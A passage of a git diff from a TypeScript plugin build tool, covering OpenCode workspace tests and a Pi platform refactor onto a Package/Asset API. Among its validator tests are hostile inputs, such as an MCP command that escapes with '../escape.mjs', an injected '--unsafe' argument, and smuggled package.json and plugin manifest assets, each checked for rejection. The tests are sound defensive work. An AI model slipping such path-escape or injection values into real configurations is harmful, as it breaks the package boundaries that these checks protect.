'1', + /** Contributor 只填 MCP 声明点并可追加自己拥有的 Asset。 */ + contribute: (_context, built) => ({ + documentFields: [{ document: 'workspace-config', path: ['mcp'], value: input.value }], + ...(input.asset === undefined || built.asset === undefined + ? {} + : { assets: [{ path: input.asset.path, asset: built.asset }] }), + compatibility: [{ + subject: `fixture:${input.id}`, + capability: 'delivery', + level: 'native', + reason: 'The fixture is delivered through the OpenCode Package contribution contract.', + }], + }), + }], + }), + }); } afterEach(async () => { await Promise.all(temporaryRoots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); }); -describe('OpenCode Platform', () => { - it('loads the generated config and discovers workspace Commands, Skills, and Agents', async () => { - /** 覆盖全部静态 workspace 资源的规范工程。 */ - const root = await createProject(); - /** 经过配置加载边界和 Platform Validator 的构建结果。 */ - const result = await executeLifecycle({ - config: resolvedConfig(root), - /** 纯 Markdown Platform Fixture 不加载 TypeScript descriptor。 */ - loadTypeScriptModule: async () => undefined, - environment: {}, - }); - /** OpenCode workspace 的最终输出根。 */ +describe('OpenCode Platform Package API', () => { + it('builds a first-class workspace Package with native Components and config golden', async () => { + /** root 覆盖全部原生 workspace Resources。 */ + const root = await temporaryProject(); + await writeCompleteProject(root); + /** report 来自同一 Package lifecycle 和受管事务。 */ + const report = await run({ root }); + /** output 是 workspace overlay 根而非 Plugin root。 */ const output = path.join(root, 'dist/opencode/workspace'); - /** OpenCode 会在 workspace 启动时读取的配置对象。 */ - const config = JSON.parse(await fs.readFile(path.join(output, 'opencode.json'), 'utf8')) as Record; - /** 按 OpenCode 官方发现目录模拟加载到的资源路径。 */ + /** discovered 模拟 OpenCode 对标准 workspace 目录的资源发现。 */ const discovered = (await fs.readdir(path.join(output, '.opencode'), { recursive: true })) .map(entry => String(entry).split(path.sep).join('/')) .filter(entry => entry.endsWith('.md')) - .sort((a, b) => a.localeCompare(b, 'en')); + .sort(); - expect(result.success).toBe(true); - expect(config).toEqual({ $schema: 'https://opencode.ai/config.json' }); - expect(await fs.readFile(path.join(output, 'opencode.json'))).toEqual(await fs.readFile(path.join(goldenRoot, 'opencode.json'))); + expect(report.success, JSON.stringify(report.diagnostics, null, 2)).toBe(true); + expect(report.packages).toContainEqual(expect.objectContaining({ + platform: 'opencode', id: 'workspace', type: 'workspace', role: 'primary', validated: true, + })); + await expect(fs.readFile(path.join(output, WORKSPACE_CONFIG_PATH))).resolves.toEqual( + await fs.readFile(path.join(goldenRoot, WORKSPACE_CONFIG_PATH)), + ); expect(discovered).toEqual([ 'agents/reviewer.md', 'commands/release.md', 'skills/review/SKILL.md', + 'skills/review/references/checklist.md', ]); + await expect(fs.readFile(path.join(output, '.opencode/commands/release.md'), 'utf8')).resolves.toContain('$ARGUMENTS'); + await expect(fs.readFile(path.join(output, '.opencode/agents/reviewer.md'), 'utf8')).resolves.toContain('permission:'); await expect(fs.access(path.join(output, 'package.json'))).rejects.toThrow(); + await expect(fs.access(path.join(output, '.cursor-plugin'))).rejects.toThrow(); + expect(report.compatibility).toEqual(expect.arrayContaining([ + expect.objectContaining({ subject: 'command:release', capability: 'component', level: 'native' }), + expect.objectContaining({ subject: 'skill:review', capability: 'component', level: 'native' }), + expect.objectContaining({ subject: 'agent:reviewer', capability: 'agent.capabilities', level: 'transform' }), + ])); + expect(report.metadata).toContainEqual(expect.objectContaining({ field: 'name', disposition: 'omitted' })); }); it('does not materialize an empty workspace config', async () => { - /** 空工程仍需建立 src 根以满足 Scanner 约定。 */ - const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-opencode-platform-')); - temporaryRoots.push(root); - await fs.mkdir(path.join(root, 'src')); - /** 默认选项下不创建 opencode.json 的构建结果。 */ - const result = resolveConfig({ - name: 'empty-workspace', version: '1.0.0', description: 'Empty workspace.', platforms: [openCode()], - }, path.join(root, 'acplugin.config.ts'), 'build', 'production'); - /** 空配置生命周期执行结果。 */ - const build = await executeLifecycle({ - config: result.config!, - /** 空 Workspace Fixture 不加载 TypeScript descriptor。 */ - loadTypeScriptModule: async () => undefined, - environment: {}, - }); + /** root 没有 Component,默认 Platform 选项也不产生配置字段。 */ + const root = await temporaryProject(); + /** report 仍创建有效但为空的 workspace Package。 */ + const report = await run({ root, platform: openCode() }); - expect(build.success, JSON.stringify(build.diagnostics)).toBe(true); + expect(report.success, JSON.stringify(report.diagnostics, null, 2)).toBe(true); + expect(report.packages).toContainEqual(expect.objectContaining({ id: 'workspace', assets: [] })); await expect(fs.access(path.join(root, 'dist/opencode/workspace/opencode.json'))).rejects.toThrow(); }); - it('rejects a non-object MCP section with the platform-specific code', async () => { - /** 候选物化使用的独占临时父目录。 */ - const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-opencode-validator-')); - temporaryRoots.push(root); - /** 真实 Platform Validator 与 Core Registry 共同验证的无效单元。 */ - const platform = openCode(); - /** 为无效候选补齐 owner/hash 的 Core Registry。 */ - const units = new DeliveryUnitRegistry(new Map()); - /** 包含错误 MCP 配置形态的已注册候选单元。 */ - const unit = await units.add(platform.id, { - id: 'workspace', - role: 'primary', - type: 'workspace', - artifacts: [bytesArtifact('opencode.json', stableJson({ mcp: [] }))], + it('accepts remote/local MCP contribution and validates local Asset references', async () => { + /** root 可为空,MCP Contribution 会让 omit-if-empty Document 实际物化。 */ + const root = await temporaryProject(); + /** mcp 同时覆盖安全 remote URL 和候选内 local server。 */ + const mcp = mcpContribution({ + id: 'mcp-fixture', + value: { + docs: { type: 'remote', url: 'https://example.com/mcp', enabled: true }, + local: { type: 'local', command: ['node', './.opencode/mcp/local/server.mjs'], enabled: true }, + }, + asset: { path: '.opencode/mcp/local/server.mjs', bytes: 'process.exit(0);\n', mode: 0o755 }, + }); + /** report 必须通过 Core merge 与最终 OpenCode wire validation。 */ + const report = await run({ root, extensions: [mcp] }); + /** config 是 Core JSON codec 产生的最终对象。 */ + const config = JSON.parse(await fs.readFile(path.join(root, 'dist/opencode/workspace/opencode.json'), 'utf8')); + + expect(report.success, JSON.stringify(report.diagnostics, null, 2)).toBe(true); + expect(config).toHaveProperty('mcp.local.command.1', './.opencode/mcp/local/server.mjs'); + expect(report.packages[0]?.assets).toContainEqual(expect.objectContaining({ + path: '.opencode/mcp/local/server.mjs', owner: 'extension:mcp-fixture', + })); + }); + + it('rejects MCP point collisions and malformed merged wire data', async () => { + /** collisionRoot 的两个 Extension 无序占用同一个精确 Document point。 */ + const collisionRoot = await temporaryProject(); + /** first 和 second 的 ID 不影响冲突结果。 */ + const first = mcpContribution({ id: 'first-mcp', value: { first: { type: 'remote', url: 'https://example.com/first' } } }); + /** second 占用相同 workspace-config.mcp 字段。 */ + const second = mcpContribution({ id: 'second-mcp', value: { second: { type: 'remote', url: 'https://example.com/second' } } }); + /** collision 必须由 Core merge 拒绝而不是依赖 Extension 顺序。 */ + const collision = await run({ root: collisionRoot, command: 'validate', extensions: [first, second], commit: false }); + expect(collision.diagnostics).toContainEqual(expect.objectContaining({ + code: 'PLATFORM_CONTRIBUTION_FAILED', platform: 'opencode', phase: 'contribute', + })); + + /** malformedRoot 的 local command 逃逸且没有候选 Asset。 */ + const malformedRoot = await temporaryProject(); + /** malformed 仍是 JSON object,因此必须由细粒度 wire validator 拒绝。 */ + const malformed = mcpContribution({ + id: 'malformed-mcp', + value: { local: { type: 'local', command: ['node', '../escape.mjs'] } }, }); - /** Validator 返回的稳定平台诊断。 */ - const diagnostics: DiagnosticInput[] = []; - await withMaterializedDeliveryUnitCandidate(unit, candidate => platform.validateBundle!({ - command: 'build', - mode: 'production', - candidate, - /** 收集最终候选校验产生的平台诊断。 */ - reportDiagnostic: diagnostic => diagnostics.push(diagnostic), - }), root); - - expect(diagnostics).toContainEqual(expect.objectContaining({ code: 'OPENCODE_MCP_CONFIG_INVALID' })); + /** malformedReport 保留最终 Platform 诊断。 */ + const malformedReport = await run({ root: malformedRoot, command: 'validate', extensions: [malformed], commit: false }); + expect(malformedReport.diagnostics).toContainEqual(expect.objectContaining({ + code: 'OPENCODE_MCP_LOCAL_ENTRY_INVALID', platform: 'opencode', phase: 'platform-validate', + })); + + /** 最终 validator 必须把 Server ID、两段 command、固定 suffix 和 0755 mode 绑定为一体。 */ + const hostileCases = [ + { + id: 'wrong-id', + value: { local: { type: 'local', command: ['node', './.opencode/mcp/other/server.mjs'] } }, + asset: { path: '.opencode/mcp/other/server.mjs', bytes: 'process.exit(0);\n', mode: 0o755 as const }, + code: 'OPENCODE_MCP_LOCAL_ENTRY_INVALID', + }, + { + id: 'wrong-suffix', + value: { local: { type: 'local', command: ['node', './.opencode/mcp/local/server.js'] } }, + asset: { path: '.opencode/mcp/local/server.js', bytes: 'process.exit(0);\n', mode: 0o755 as const }, + code: 'OPENCODE_MCP_LOCAL_ENTRY_INVALID', + }, + { + id: 'extra-argument', + value: { local: { type: 'local', command: ['node', './.opencode/mcp/local/server.mjs', '--unsafe'] } }, + asset: { path: '.opencode/mcp/local/server.mjs', bytes: 'process.exit(0);\n', mode: 0o755 as const }, + code: 'OPENCODE_MCP_LOCAL_COMMAND_INVALID', + }, + { + id: 'non-executable', + value: { local: { type: 'local', command: ['node', './.opencode/mcp/local/server.mjs'] } }, + asset: { path: '.opencode/mcp/local/server.mjs', bytes: 'process.exit(0);\n', mode: 0o644 as const }, + code: 'OPENCODE_MCP_LOCAL_ENTRY_INVALID', + }, + ] as const; + for (const hostile of hostileCases) { + /** 每个 hostile Contribution 使用独立候选,证明失败不依赖冲突顺序。 */ + const root = await temporaryProject(); + /** Extension 只使用公开 SDK 签发 Bytes Asset 和 Contribution。 */ + const report = await run({ + root, + command: 'validate', + extensions: [mcpContribution({ id: hostile.id, value: hostile.value, asset: hostile.asset })], + commit: false, + }); + expect(report.success).toBe(false); + expect(report.diagnostics).toContainEqual(expect.objectContaining({ + code: hostile.code, platform: 'opencode', phase: 'platform-validate', + })); + } + + /** 已有 canonical Component Asset 也不能被借作某个 local MCP 的入口。 */ + const borrowedRoot = await temporaryProject(); + await writeCompleteProject(borrowedRoot); + /** command 指向真实存在但不属于 MCP canonical path 的 Asset。 */ + const borrowed = await run({ + root: borrowedRoot, + command: 'validate', + extensions: [mcpContribution({ + id: 'borrowed-asset', + value: { local: { type: 'local', command: ['node', './.opencode/commands/release.md'] } }, + })], + commit: false, + }); + expect(borrowed.diagnostics).toContainEqual(expect.objectContaining({ + code: 'OPENCODE_MCP_LOCAL_ENTRY_INVALID', platform: 'opencode', phase: 'platform-validate', + })); + + /** remoteRoot 隔离验证 remote Server 的字段形状和未知字段。 */ + const remoteRoot = await temporaryProject(); + /** malformedRemote 同时包含非法 headers 与未确认字段。 */ + const malformedRemote = mcpContribution({ + id: 'malformed-remote-mcp', + value: { + docs: { type: 'remote', url: 'https://example.com/mcp', headers: 42, extra: true }, + }, + }); + /** remoteReport 必须保留两个稳定的最终 wire 诊断。 */ + const remoteReport = await run({ root: remoteRoot, command: 'validate', extensions: [malformedRemote], commit: false }); + expect(remoteReport.diagnostics).toEqual(expect.arrayContaining([ + expect.objectContaining({ code: 'OPENCODE_MCP_HEADERS_INVALID', platform: 'opencode', phase: 'platform-validate' }), + expect.objectContaining({ code: 'OPENCODE_MCP_FIELD_UNKNOWN', platform: 'opencode', phase: 'platform-validate' }), + ])); + }); + + it('rejects generic package and Plugin manifest Assets in a workspace delivery', async () => { + /** packageRoot 的 Extension 同时填合法 MCP 点并追加禁止的 package.json。 */ + const packageRoot = await temporaryProject(); + /** packageExtension 证明最终 validator 不依赖 Asset owner。 */ + const packageExtension = mcpContribution({ + id: 'package-injection', + value: {}, + asset: { path: 'package.json', bytes: '{}\n' }, + }); + /** packageReport 必须在候选边界拒绝 Plugin/package 语义泄漏。 */ + const packageReport = await run({ root: packageRoot, command: 'validate', extensions: [packageExtension], commit: false }); + expect(packageReport.diagnostics).toContainEqual(expect.objectContaining({ code: 'OPENCODE_PACKAGE_JSON_FORBIDDEN' })); + + /** pluginRoot 的 Extension 追加另一个平台的 Manifest 路径。 */ + const pluginRoot = await temporaryProject(); + /** pluginExtension 不需要猜测 Plugin 内容,路径本身即越界。 */ + const pluginExtension = mcpContribution({ + id: 'plugin-injection', + value: {}, + asset: { path: '.cursor-plugin/plugin.json', bytes: '{}\n' }, + }); + /** pluginReport 必须拒绝把 Workspace 伪装成安装型 Plugin。 */ + const pluginReport = await run({ root: pluginRoot, command: 'validate', extensions: [pluginExtension], commit: false }); + expect(pluginReport.diagnostics).toContainEqual(expect.objectContaining({ code: 'OPENCODE_PLUGIN_MANIFEST_FORBIDDEN' })); + }); + + it('reports unsupported Runtime without compiling or generating fake assets', async () => { + /** Runtime import 若被编译必然失败,用于证明 capability 协商发生在 compile 前。 */ + const root = await temporaryProject(); + await fs.mkdir(path.join(root, 'src/runtime'), { recursive: true }); + await fs.writeFile(path.join(root, 'src/runtime/cli.ts'), 'import "missing-runtime-package";\n'); + /** relaxed 接受已明确报告的 Runtime capability 差异。 */ + const report = await run({ root, platform: openCode({ strict: false }) }); + + expect(report.success, JSON.stringify(report.diagnostics, null, 2)).toBe(true); + expect(report.runtimes).toEqual([{ + id: 'cli', kind: 'executable', location: { path: 'src/runtime/cli.ts' }, built: false, + }]); + expect(report.compatibility).toContainEqual(expect.objectContaining({ + platform: 'opencode', subject: 'runtime:cli', capability: 'node20-esm', level: 'unsupported', + })); + expect(report.packages.flatMap(unit => unit.assets).some(asset => asset.path.startsWith('runtime/'))).toBe(false); + }); + + it('rejects unknown Platform and Component fields without config escape hatches', async () => { + expect(() => openCode({ workspace: { raw: true } } as never)).toThrow('Unknown OpenCode workspace option'); + expect(() => openCode({ config: {} } as never)).toThrow('Unknown OpenCode Platform option'); + /** root 的 namespace 包含未公开的 raw 字段。 */ + const root = await temporaryProject(); + await fs.mkdir(path.join(root, 'src/commands'), { recursive: true }); + await fs.writeFile(path.join(root, 'src/commands/invalid.md'), `--- +description: Invalid field. +platforms: + opencode: + raw: true +--- +Do not build. +`); + /** report 应保留 canonical namespace fieldPath。 */ + const report = await run({ root, command: 'validate', commit: false }); + expect(report.diagnostics).toContainEqual(expect.objectContaining({ + code: 'OPENCODE_COMPONENT_FIELD_UNKNOWN', fieldPath: ['platforms', 'opencode', 'raw'], + })); }); }); diff --git a/packages/platforms/opencode/vitest.config.ts b/packages/platforms/opencode/vitest.config.ts index 0422823..b392d52 100644 --- a/packages/platforms/opencode/vitest.config.ts +++ b/packages/platforms/opencode/vitest.config.ts @@ -4,9 +4,19 @@ import { defineConfig } from 'vitest/config'; /** OpenCode 单测让公开主包与私有 Core 共享同一源码品牌实例。 */ export default defineConfig({ resolve: { - alias: { - '@acplugin/core': fileURLToPath(new URL('../../core/src/index.ts', import.meta.url)), - '@tokenroll/acplugin': fileURLToPath(new URL('../../acplugin/src/index.ts', import.meta.url)), - }, + alias: [ + { + find: /^@tokenroll\/acplugin\/sdk$/, + replacement: fileURLToPath(new URL('../../acplugin/src/sdk.ts', import.meta.url)), + }, + { + find: /^@tokenroll\/acplugin$/, + replacement: fileURLToPath(new URL('../../acplugin/src/index.ts', import.meta.url)), + }, + { + find: /^@acplugin\/core$/, + replacement: fileURLToPath(new URL('../../core/src/index.ts', import.meta.url)), + }, + ], }, }); diff --git a/packages/platforms/pi/package.json b/packages/platforms/pi/package.json index e2ee35b..29eb43e 100644 --- a/packages/platforms/pi/package.json +++ b/packages/platforms/pi/package.json @@ -1,7 +1,7 @@ { "name": "@tokenroll/acplugin-platform-pi", - "version": "0.0.1-beta", - "description": "Pi Platform adapter for acplugin.", + "version": "0.0.2-beta", + "description": "Pi Platform integration for acplugin.", "type": "module", "license": "MIT", "homepage": "https://github.com/TokenRollAI/acplugin#pi-platform", diff --git a/packages/platforms/pi/src/components.ts b/packages/platforms/pi/src/components.ts index 7eac0de..679d2bf 100644 --- a/packages/platforms/pi/src/components.ts +++ b/packages/platforms/pi/src/components.ts @@ -1,33 +1,35 @@ import { - bytesArtifact, markdownWithFrontmatter, - type ArtifactInput, + type AssetService, + type CanonicalProject, + type CompatibilityInput, + type DiagnosticService, + type PackageAssetInput, type PlatformComponentValidationContext, - type PlatformGenerateContext, - type PlatformPrepareContext, - type PluginProject, -} from '@tokenroll/acplugin'; +} from '@tokenroll/acplugin/sdk'; -/** Pi 1.0 暂不开放未经官方 package 契约确认的 Component 专属字段。 */ +/** Pi 当前不开放未经官方文档确认的 Component 专属字段。 */ const COMPONENT_FIELDS = new Set(); -/** 最终 Pi Skill 命名空间中的一项规范来源。 */ +/** 最终 Pi Skill 命名空间中的一个 canonical owner。 */ interface GeneratedSkillIdentity { - /** 最终目录 ID。 */ readonly id: string; - /** 用于诊断的规范 Component 身份。 */ readonly subject: string; } -/** - * 校验 Pi Component 专属字段,阻止任意 Frontmatter 透传。 - * - * @param context Core 规范化并冻结后的字段校验上下文。 - */ -export function validatePiComponentFields(context: PlatformComponentValidationContext): void { - for (const field of Object.keys(context.fields)) { +/** Pi base Package 的 Component 转换结果。 */ +export interface PiComponentPackage { + readonly assets: readonly PackageAssetInput[]; + readonly compatibility: readonly CompatibilityInput[]; +} + +/** 校验 Pi Component namespace,不允许 raw Frontmatter 逃逸。 */ +export function validatePiComponent(context: PlatformComponentValidationContext): void { + /** fields 是 Scanner 已复制冻结的 Pi namespace。 */ + const fields = context.component.platforms.pi ?? {}; + for (const field of Object.keys(fields)) { if (!COMPONENT_FIELDS.has(field)) { - context.reportDiagnostic({ + context.diagnostics.report({ code: 'PI_COMPONENT_FIELD_UNKNOWN', severity: 'error', message: `Unknown Pi ${context.component.kind} field "${field}".`, @@ -37,34 +39,28 @@ export function validatePiComponentFields(context: PlatformComponentValidationCo } } -/** - * 列出全部规范 Skill 与 Agent fallback 最终占用的 Pi Skill ID。 - * - * @param project 已完成规范扫描的 Plugin 工程。 - * @returns 保持 Component 类型与扫描顺序的生成身份。 - */ -function generatedSkillIdentities(project: PluginProject): readonly GeneratedSkillIdentity[] { - return [ - ...project.skills.map(skill => ({ id: skill.id, subject: `skill:${skill.id}` })), - ...project.agents.map(agent => ({ id: `agent-${agent.id}`, subject: `agent:${agent.id}` })), - ]; +/** @returns 全部 native/fallback Skill 的最终身份。 */ +function generatedSkillIdentities(project: CanonicalProject): readonly GeneratedSkillIdentity[] { + return Object.freeze([ + ...project.skills.map(skill => Object.freeze({ id: skill.id, subject: `skill:${skill.id}` })), + ...project.agents.map(agent => Object.freeze({ id: `agent-${agent.id}`, subject: `agent:${agent.id}` })), + ]); } -/** - * 在 prepare 阶段拒绝规范 ID 与 Agent fallback ID 冲突。 - * - * @param context Pi Platform prepare 上下文。 - */ -export function validateGeneratedSkillIds(context: PlatformPrepareContext): void { - /** 已经占用最终 ID 的首个规范 Component。 */ +/** 在任何 Asset 签发前拒绝最终 Skill ID 的 exact、case 或 NFC 冲突。 */ +export function validateGeneratedSkillIds(project: CanonicalProject, diagnostics: DiagnosticService): boolean { + /** owners 使用最严格目标文件系统的 NFC/case-fold key。 */ const owners = new Map(); - for (const identity of generatedSkillIdentities(context.project)) { - /** npm package 在跨平台文件系统上采用大小写不敏感冲突规则。 */ - const key = identity.id.toLocaleLowerCase('en-US'); - /** 已经占用同一最终 ID 的来源。 */ + /** valid 让调用方在 namespace 有歧义时跳过全部 Component Asset。 */ + let valid = true; + for (const identity of generatedSkillIdentities(project)) { + /** 显式规范化固定未来可能扩展的身份边界。 */ + const key = identity.id.normalize('NFC').toLowerCase(); + /** owner 是先占用相同最终 ID 的 canonical 来源。 */ const owner = owners.get(key); if (owner !== undefined) { - context.reportDiagnostic({ + valid = false; + diagnostics.report({ code: 'PI_GENERATED_SKILL_ID_COLLISION', severity: 'error', message: `${owner.subject} and ${identity.subject} both generate Pi Skill ID "${identity.id}".`, @@ -74,72 +70,81 @@ export function validateGeneratedSkillIds(context: PlatformPrepareContext): void owners.set(key, identity); } } + return valid; } -/** - * 把规范 Commands、Skills 与 Agents 转换为 Pi package 资源。 - * - * @param context Platform generateBundle 生命周期上下文。 - * @returns 确定排序且尚未进入 DeliveryUnit Registry 的 Artifact 输入。 - */ -export function generateComponentArtifacts(context: PlatformGenerateContext): ArtifactInput[] { - /** 当前 Platform 累计生成的 Component Artifact。 */ - const artifacts: ArtifactInput[] = []; - for (const command of context.project.commands) { - artifacts.push(bytesArtifact(`prompts/${command.id}.md`, markdownWithFrontmatter({ - 'description': command.description, - 'argument-hint': command.argumentHint, - }, command.body.replaceAll('{{arguments}}', '$ARGUMENTS')))); - context.reportCompatibility({ +/** 把 canonical Commands、Skills 与 Agents 转换为 Pi Prompt/Skill 资源。 */ +export async function createPiComponents( + project: CanonicalProject, + assets: AssetService, +): Promise { + /** output 只包含 Platform bytes 和 Scanner 授权的 Skill auxiliary refs。 */ + const output: PackageAssetInput[] = []; + /** compatibility 精确描述每个 canonical Component 的交付语义。 */ + const compatibility: CompatibilityInput[] = []; + for (const command of project.commands) { + /** Pi Prompt Template 使用原生参数 token 和受控 Frontmatter。 */ + const asset = await assets.fromBytes({ + bytes: markdownWithFrontmatter({ + description: command.description, + ...(command.argumentHint === undefined ? {} : { 'argument-hint': command.argumentHint }), + }, command.body.replaceAll('{{arguments}}', '$ARGUMENTS')), + origin: { operation: 'component-command', subjects: [`command:${command.id}`] }, + }); + output.push(Object.freeze({ path: `prompts/${command.id}.md`, asset })); + compatibility.push(Object.freeze({ subject: `command:${command.id}`, capability: 'component', level: 'transform', - transformation: `Prompt Template prompts/${command.id}.md`, + transformation: `prompt-template:${command.id}`.toLowerCase(), reason: 'Pi packages represent reusable slash prompts as Prompt Templates.', - }); + })); + if (command.body.includes('{{arguments}}')) { + compatibility.push(Object.freeze({ + subject: `command:${command.id}`, + capability: 'arguments', + level: 'native', + reason: 'Pi Prompt Templates support the $ARGUMENTS placeholder.', + })); + } if (command.argumentHint !== undefined) { - context.reportCompatibility({ + compatibility.push(Object.freeze({ subject: `command:${command.id}`, - capability: 'argumentHint', + capability: 'argument-hint', level: 'native', - reason: 'Pi Prompt Templates support argument-hint and $ARGUMENTS.', - }); + reason: 'Pi Prompt Templates support argument-hint metadata.', + })); } } - - for (const skill of context.project.skills) { - artifacts.push(bytesArtifact(`skills/${skill.id}/SKILL.md`, markdownWithFrontmatter({ - name: skill.id, - description: skill.description, - }, skill.body))); - for (const auxiliary of skill.auxiliaryFiles) { - artifacts.push({ - path: `skills/${skill.id}/${auxiliary.path}`, - source: { type: 'file', path: auxiliary.sourcePath }, - mode: auxiliary.mode, - }); - } - context.reportCompatibility({ + for (const skill of project.skills) { + /** Skill 主文档使用 Pi 原生 Agent Skill 结构。 */ + const asset = await assets.fromBytes({ + bytes: markdownWithFrontmatter({ name: skill.id, description: skill.description }, skill.body), + origin: { operation: 'component-skill', subjects: [`skill:${skill.id}`] }, + }); + output.push(Object.freeze({ path: `skills/${skill.id}/SKILL.md`, asset })); + for (const auxiliary of skill.auxiliaryFiles) + output.push(Object.freeze({ path: `skills/${skill.id}/${auxiliary.path}`, asset: auxiliary.asset })); + compatibility.push(Object.freeze({ subject: `skill:${skill.id}`, capability: 'component', level: 'native', reason: 'Pi packages support Agent Skills natively.', - }); + })); if (!skill.invocation.user || !skill.invocation.model) { - context.reportCompatibility({ + compatibility.push(Object.freeze({ subject: `skill:${skill.id}`, capability: 'invocation', level: 'degraded', - transformation: 'The Skill remains available to both users and the model.', - reason: 'Pi has no verified independent user/model invocation switches for Skills.', - }); + transformation: 'invocation-switches-omitted', + reason: 'Pi has no verified independent user and model invocation switches for Skills.', + })); } } - - for (const agent of context.project.agents) { - /** Agent 使用固定前缀进入 Pi Skill 命名空间。 */ + for (const agent of project.agents) { + /** Agent 使用固定前缀进入 Pi Skill namespace。 */ const id = `agent-${agent.id}`; - /** 降级正文明确区分作者意图与平台无法强制的运行约束。 */ + /** guidance 明确保留但不谎报模型和 capability 强制能力。 */ const guidance = [ agent.body, '', @@ -147,43 +152,42 @@ export function generateComponentArtifacts(context: PlatformGenerateContext): Ar `Intended capabilities: ${agent.capabilities.join(', ') || 'none declared'}.`, 'Use this Skill as role guidance; Pi does not register it as a dedicated Agent.', ].join('\n'); - artifacts.push(bytesArtifact(`skills/${id}/SKILL.md`, markdownWithFrontmatter({ - name: id, - description: agent.description, - }, guidance))); - context.reportCompatibility({ - subject: `agent:${agent.id}`, - capability: 'component', - level: 'degraded', - transformation: `Guidance-only Skill ${id}`, - reason: 'Pi packages do not define a first-class static custom Agent resource.', - }); - context.reportCompatibility({ - subject: `agent:${agent.id}`, - capability: 'agent.model', - level: 'degraded', - transformation: 'The intended model class is preserved as guidance text.', - reason: 'A fallback Skill cannot enforce an Agent model selection.', + /** fallback Skill 由 Pi Platform owner 签发。 */ + const asset = await assets.fromBytes({ + bytes: markdownWithFrontmatter({ name: id, description: agent.description }, guidance), + origin: { operation: 'component-agent', subjects: [`agent:${agent.id}`] }, }); + output.push(Object.freeze({ path: `skills/${id}/SKILL.md`, asset })); + compatibility.push( + Object.freeze({ + subject: `agent:${agent.id}`, + capability: 'component', + level: 'degraded', + transformation: `guidance-skill:${id}`.toLowerCase(), + reason: 'Pi packages do not define a first-class static custom Agent resource.', + }), + Object.freeze({ + subject: `agent:${agent.id}`, + capability: 'agent.model', + level: 'degraded', + transformation: 'model-guidance', + reason: 'A fallback Skill cannot enforce an Agent model selection.', + }), + ); if (agent.capabilities.length > 0) { - context.reportCompatibility({ + compatibility.push(Object.freeze({ subject: `agent:${agent.id}`, capability: 'agent.capabilities', level: 'degraded', - transformation: 'The intended capabilities are preserved as guidance text.', + transformation: 'capability-guidance', reason: 'A fallback Skill cannot enforce an Agent capability boundary.', - }); + })); } } - return artifacts; + return Object.freeze({ assets: Object.freeze(output), compatibility: Object.freeze(compatibility) }); } -/** - * 判断 Pi package 是否需要声明 skills 目录。 - * - * @param project 已完成扫描的规范工程。 - * @returns 存在原生 Skill 或 Agent fallback 时返回 true。 - */ -export function hasGeneratedSkills(project: PluginProject): boolean { +/** @returns Package 是否需要声明 Skills discovery root。 */ +export function hasGeneratedSkills(project: CanonicalProject): boolean { return project.skills.length + project.agents.length > 0; } diff --git a/packages/platforms/pi/src/index.ts b/packages/platforms/pi/src/index.ts index 7e50911..7f2143d 100644 --- a/packages/platforms/pi/src/index.ts +++ b/packages/platforms/pi/src/index.ts @@ -1,29 +1,30 @@ -import { definePlatform, type AcpluginPlatform, type JsonObject } from '@tokenroll/acplugin'; import { - generateComponentArtifacts, + definePlatform, + type AcpluginPlatform, + type JsonObject, +} from '@tokenroll/acplugin/sdk'; +import { + createPiComponents, + hasGeneratedSkills, validateGeneratedSkillIds, - validatePiComponentFields, + validatePiComponent, } from './components.js'; -import { createPackageDocument, serializeDocuments, validatePlatformOptions } from './manifest.js'; +import { createPackageDocument, validatePlatformOptions } from './manifest.js'; import type { PiPlatformOptions } from './types.js'; -import { validatePiBundle } from './validator.js'; +import { validatePiPackage } from './validator.js'; export type { PiPackageOptions, PiPlatformOptions } from './types.js'; /** Pi Platform 的稳定开放 ID。 */ export const PLATFORM_ID = 'pi' as const; + /** Pi Platform 实现的 Core API 版本。 */ export const PLATFORM_API_VERSION = '1' as const; -/** - * 创建独立且可由 Core 品牌校验的 Pi Platform。 - * - * @param options 严格度覆盖和 npm package 选项。 - * @returns Pi package 交付实现。 - */ +/** 创建只通过 Package API 交付 npm Package 的 Pi Platform。 */ export function pi(options: PiPlatformOptions = {}): AcpluginPlatform { validatePlatformOptions(options); - /** strict 属于 Core 策略,其余字段作为 Platform 生命周期专属配置保存。 */ + /** strict 由 Core 解释,其余选项复制、深冻后进入 Platform Session。 */ const { strict, ...platformOptions } = options; return definePlatform({ id: PLATFORM_ID, @@ -31,25 +32,37 @@ export function pi(options: PiPlatformOptions = {}): AcpluginPlatform { deliveryType: 'package', ...(strict === undefined ? {} : { strict }), options: platformOptions as unknown as JsonObject, - validateComponentFields: validatePiComponentFields, - /** prepare 先验证 fallback Skill ID,再创建可由 Hooks Adapter patch 的 package Document。 */ - prepare: (context) => { - validateGeneratedSkillIds(context); - return { documents: [createPackageDocument(context)], artifacts: [] }; + /** Pi 不声明 Node Runtime 能力,Core 会对每个 Runtime 报告 unsupported。 */ + createSession({ options: sessionOptions }) { + return { + validateComponent: validatePiComponent, + /** base Package 包含 Prompt/Skill Assets 和唯一 npm Manifest Document。 */ + async createPackage({ project, assets, diagnostics }) { + /** idsValid 防止 native/fallback Skill namespace 有歧义时签发 Assets。 */ + const idsValid = validateGeneratedSkillIds(project, diagnostics); + /** components 只在 namespace 完整时创建。 */ + const components = idsValid + ? await createPiComponents(project, assets) + : { assets: Object.freeze([]), compatibility: Object.freeze([]) }; + /** manifest 根据真实 canonical 资源声明 discovery roots。 */ + const manifest = createPackageDocument({ + metadata: project.metadata, + options: sessionOptions, + hasSkills: hasGeneratedSkills(project), + hasPrompts: project.commands.length > 0, + }); + return { + documents: [manifest.document], + assets: components.assets, + compatibility: components.compatibility, + metadata: manifest.metadata, + }; + }, + /** Core 自动继承 base Assets 和无序 Hooks Contribution。 */ + finalizePackage: () => ({ id: 'package', type: 'package' }), + validatePackage: validatePiPackage, + }; }, - /** generateBundle 生成 package 资源并序列化固定 package.json。 */ - generateBundle: context => ({ - id: 'package', - role: 'primary', - type: 'package', - artifacts: [ - ...context.artifacts, - ...generateComponentArtifacts(context), - ...serializeDocuments(context.documents), - ], - }), - /** 最终候选必须满足 npm/Pi discovery 边界且无 workspace 泄漏。 */ - validateBundle: validatePiBundle, }); } diff --git a/packages/platforms/pi/src/manifest.ts b/packages/platforms/pi/src/manifest.ts index 88dda70..36e79e7 100644 --- a/packages/platforms/pi/src/manifest.ts +++ b/packages/platforms/pi/src/manifest.ts @@ -1,40 +1,25 @@ -import { - bytesArtifact, - stableJson, - type ArtifactInput, - type DraftDocument, - type 